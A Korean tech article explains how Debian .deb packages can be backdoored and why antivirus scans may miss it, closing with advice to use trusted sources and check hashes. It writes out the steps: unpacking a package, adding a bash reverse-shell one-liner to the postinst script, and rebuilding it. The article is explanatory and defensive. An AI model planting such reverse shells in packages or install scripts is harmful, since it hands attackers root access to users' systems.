DEB 패키지가 백도어되는 방법 및 이를 탐지하는 방법

주요 내용

  • DEB 패키지는 구조상 백도어 삽입이 용이하여, 루트 권한으로 설치 시 악성 코드가 시스템에 침투할 위험이 있습니다.
  • 악성 DEB 패키지는 백신 프로그램이나 VirusTotal과 같은 클라우드 서비스에서 탐지하기 어려워 보안 위협을 가중시킬 수 있습니다.
  • 개인 보안을 위해, 출처가 불분명한 웹사이트에서 DEB 패키지 다운로드를 자제하고, 공식 웹사이트나 신뢰할 수 있는 커뮤니티 사이트를 이용하며, 네트워크 공격 방어 도구 설치를 고려해야 합니다.

DEB 파일은 데비안 계열 리눅스 배포판에서 소프트웨어를 배포하는 주요 패키지 포맷입니다.

DEB 패키지 설치 시 루트 권한으로 dpkg와 같은 패키지 관리자를 사용해야 하는데, 이를 악용하여 공격자가 패키지에 악성 코드를 심을 수 있습니다. 이렇게 변조된 패키지를 설치하면 시스템 보안이 심각하게 손상될 수 있습니다.

이제 DEB 패키지가 어떻게 백도어 공격에 사용되는지, 그리고 어떻게 스스로를 보호할 수 있는지 자세히 살펴보겠습니다.

DEB 패키지 백도어 공격 원리

DEB 패키지 백도어 공격 방식을 이해하기 위해, 먼저 DEB 패키지 내부 구조를 살펴보겠습니다. 예시로, 마이크로소프트 공식 웹사이트에서 Visual Studio Code DEB 패키지를 다운로드하겠습니다. 이는 리눅스 환경에서 VS Code를 설치할 때 사용하는 일반적인 패키지입니다.

다운로드 링크: 비주얼 스튜디오 코드

다운로드한 패키지 압축을 해제해야 합니다. dpkg-deb 명령어를 사용하고, -R 플래그와 함께 압축 해제된 파일이 저장될 경로를 지정합니다.

dpkg-deb -R <package_name> <path>

위 명령을 실행하면 VS Code 패키지 내용이 지정된 경로에 압축 해제됩니다.

압축 해제된 폴더 내에서 다양한 디렉토리를 확인할 수 있지만, 이 중 DEBIAN 디렉토리에 주목해야 합니다. 이 디렉토리에는 루트 권한으로 설치하는 동안 실행되는 유지보수 스크립트가 포함되어 있습니다. 공격자는 바로 이 스크립트를 변조하여 악성 코드를 삽입합니다.

예를 들어, postinst 스크립트에 간단한 Bash 역방향 TCP 셸 코드를 추가해 보겠습니다. postinst 스크립트는 패키지가 시스템에 설치된 후 실행되는 스크립트입니다.

이 스크립트는 심볼릭 링크 설정, 종속성 처리 등 다양한 설정을 완료하는 데 사용됩니다. 인터넷에서 다양한 역방향 쉘 코드를 찾을 수 있습니다. 대부분 유사하게 작동합니다. 다음은 역방향 쉘 단일 라인 예시입니다.

bash -i >& /dev/tcp/127.0.0.1/42069 0>&1

명령어 설명:

  • bash: Bash 쉘을 실행하는 명령입니다.
  • -i: Bash 쉘을 대화형 모드로 실행하여 실시간 명령 I/O를 허용합니다.
  • >& /dev/tcp/ip/port: 표준 출력과 표준 오류를 네트워크 소켓으로 리디렉션합니다. 이는 지정된 IP 주소와 포트에 대한 TCP 연결을 시도합니다.
  • 0>&1: 표준 입력과 출력을 동일한 위치(네트워크 소켓)로 리디렉션합니다.

역방향 쉘은 아직 연결되지 않은 상태에서, 대상 시스템에서 실행될 때 공격자의 시스템으로 연결을 시도하는 코드입니다. 이 방식은 방화벽 뒤에 있는 시스템에서 연결을 생성하므로 방화벽 제한을 우회하기에 효과적입니다.

아래는 수정된 스크립트입니다.

보시다시피, 모든 내용은 동일하지만 Bash 역방향 쉘 코드가 한 줄 추가되었습니다. 이제 이 파일을 “.deb” 형식으로 다시 빌드해야 합니다. dpkg 명령어를 –build 플래그와 함께 사용하거나 dpkg-deb 명령어를 -b 플래그와 함께 사용하고, 그 뒤에 추출한 콘텐츠의 경로를 지정하면 됩니다.

dpkg --build <directory>
dpkg-deb -b <directory>

이제 백도어가 삽입된 DEB 패키지를 악성 웹사이트를 통해 배포할 준비가 되었습니다. 피해자가 이 DEB 패키지를 다운로드하고 일반적인 패키지처럼 설치하는 시나리오를 가정해 보겠습니다.

위쪽 터미널 창은 피해자의 시점이고, 아래쪽 창은 공격자의 시점입니다. 피해자는 sudo dpkg -i 명령어를 사용하여 패키지를 설치하고 있으며, 공격자는 netcat 명령어를 사용하여 들어오는 연결을 대기합니다.

설치가 완료되면 공격자는 역방향 쉘 연결을 획득하고 피해자 시스템에 대한 루트 액세스 권한을 갖게 됩니다. 이제 DEB 패키지가 어떻게 백도어 공격에 사용되는지 알게 되었습니다. 다음으로는 자신을 보호하는 방법에 대해 알아보겠습니다.

악성 DEB 패키지 감지 방법

악성 DEB 패키지가 위험하다는 것을 알았으니, 이러한 패키지를 어떻게 식별할 수 있는지 궁금할 것입니다. 먼저 ClamAV와 같은 리눅스 백신 프로그램을 사용할 수 있습니다. 그러나, 패키지에 대한 ClamAV 검사 결과, 해당 패키지를 악성으로 탐지하지 못했습니다. 아래는 스캔 결과입니다.

따라서, 고급 백신 솔루션을 사용하지 않는 한(그렇다고 해서 100% 안전하다는 보장은 없습니다), 악성 DEB 패키지를 탐지하기는 매우 어렵습니다. 다음으로, VirusTotal 웹사이트와 같은 클라우드 솔루션을 사용해 보겠습니다.

VirusTotal에서도 어떠한 문제도 발견하지 못했습니다. 결국, 이러한 위협으로부터 자신을 보호하는 유일한 방법은 신뢰할 수 없는 출처에서 파일을 다운로드하지 않고, 항상 파일 해시 값을 확인하며, 의심스러운 소프트웨어 설치를 피하는 등의 기본적인 보안 수칙을 지키는 것입니다.

인터넷은 이러한 위협으로 가득 차 있습니다. 데이터를 안전하게 유지하면서 인터넷을 이용하는 방법은 항상 주의를 기울이고, 신뢰할 수 있는 사이트만을 이용하는 것입니다. 또한, 리눅스 환경에서는 다운로드하는 소프트웨어에 AppImage 변형이 있는지 확인하는 것이 좋습니다. AppImage는 자체적으로 포함되어 있고 샌드박스 처리도 가능하기 때문에 시스템과 직접적으로 접촉할 수 없습니다.

출처 불명의 사이트에서 DEB 패키지 다운로드 금지!

DEB 패키지 자체가 위험한 것은 아니지만, 공격자가 이를 무기화하여 사용자들에게 쉽게 배포할 수 있습니다. 설명한 것처럼 DEB 패키지는 쉽게 열고 수정할 수 있어, 악성 코드를 배포하는 데 악용될 수 있습니다.

간단한 백도어 삽입만으로도 대부분의 백신 솔루션에서 감지되지 않습니다. 따라서, 가장 좋은 방법은 항상 공식 웹사이트나 신뢰할 수 있는 커뮤니티에서 소프트웨어를 다운로드하고, 웹 서핑 시 기본적인 보안 수칙을 지키는 것입니다.

이제 새로운 사이트나 출처가 불분명한 사이트에서 DEB 패키지를 설치할 때 발생하는 보안 위험을 인지했으므로, 새로운 소프트웨어를 설치할 때 더욱 주의해야 합니다. 하지만, 설치 과정에 주의를 기울이는 것만으로는 충분하지 않습니다. 리눅스 시스템 또한 네트워크 공격의 대상이 될 수 있습니다.

네트워크 공격에 대한 안전을 확보하기 위해서는 네트워크 보안 도구 설치를 고려해 봐야 합니다.